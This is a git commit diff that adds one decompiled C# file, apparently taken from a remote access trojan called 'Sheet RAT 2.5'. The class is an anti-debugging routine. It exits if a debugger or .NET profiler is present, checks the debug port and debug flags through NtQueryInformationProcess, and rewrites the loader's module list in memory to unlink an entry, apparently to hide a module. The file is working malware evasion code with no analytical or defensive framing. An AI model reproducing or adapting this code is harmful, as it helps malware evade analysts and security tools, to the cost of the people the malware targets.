initial commit

2026-08-27 11:23:25 -06:00
commit faef36ee57
588 changed files with 40547 additions and 0 deletions
@@ -0,0 +1,64 @@
+// Decompiled with JetBrains decompiler
+// Type: MindLated.Protection.Anti.Runtime.AntiDebugSafe
+// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
+// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
+
+using System;
+using System.Windows.Forms;
+using System.Diagnostics;
+using System.Runtime.InteropServices;
+
+//#nullable disable
+namespace MindLated.Protection.Anti.Runtime {
+
+internal static class AntiDebugSafe
+{
+  [DllImport("ntdll.dll", CharSet = CharSet.Auto)]
+  private static extern int NtQueryInformationProcess(
+    IntPtr test,
+    int test2,
+    int[] test3,
+    int test4,
+    ref int test5);
+
+  private static void Initialize()
+  {
+    if (Debugger.IsLogging())
+      Environment.Exit(0);
+    if (Debugger.IsAttached)
+      Environment.Exit(0);
+    if (Environment.GetEnvironmentVariable("complus_profapi_profilercompatibilitysetting") != null)
+      Environment.Exit(0);
+    if (string.Compare(Environment.GetEnvironmentVariable("COR_ENABLE_PROFILING"), "1", StringComparison.Ordinal) == 0)
+      Environment.Exit(0);
+    if (Environment.OSVersion.Platform != PlatformID.Win32NT)
+      return;
+    int[] test3 = new int[6];
+    int test5 = 0;
+    IntPtr handle = Process.GetCurrentProcess().Handle;
+    if (AntiDebugSafe.NtQueryInformationProcess(handle, 31 /*0x1F*/, test3, 4, ref test5) == 0 && test3[0] != 1)
+      Environment.Exit(0);
+    if (AntiDebugSafe.NtQueryInformationProcess(handle, 30, test3, 4, ref test5) == 0 && test3[0] != 0)
+      Environment.Exit(0);
+    if (AntiDebugSafe.NtQueryInformationProcess(handle, 0, test3, 24, ref test5) != 0)
+      return;
+    IntPtr ptr1 = Marshal.ReadIntPtr(Marshal.ReadIntPtr((IntPtr) test3[1], 12), 12);
+    Marshal.WriteInt32(ptr1, 32 /*0x20*/, 0);
+    IntPtr num1 = Marshal.ReadIntPtr(ptr1, 0);
+    IntPtr ptr2 = num1;
+    do
+    {
+      ptr2 = Marshal.ReadIntPtr(ptr2, 0);
+      if (Marshal.ReadInt32(ptr2, 44) == 1572886 && Marshal.ReadInt32(Marshal.ReadIntPtr(ptr2, 48 /*0x30*/), 0) == 7536749)
+      {
+        IntPtr num2 = Marshal.ReadIntPtr(ptr2, 8);
+        IntPtr num3 = Marshal.ReadIntPtr(ptr2, 12);
+        Marshal.WriteInt32(num3, 0, (int) num2);
+        Marshal.WriteInt32(num2, 4, (int) num3);
+      }
+    }
+    while (!ptr2.Equals((object) num1));
+  }
+}
+}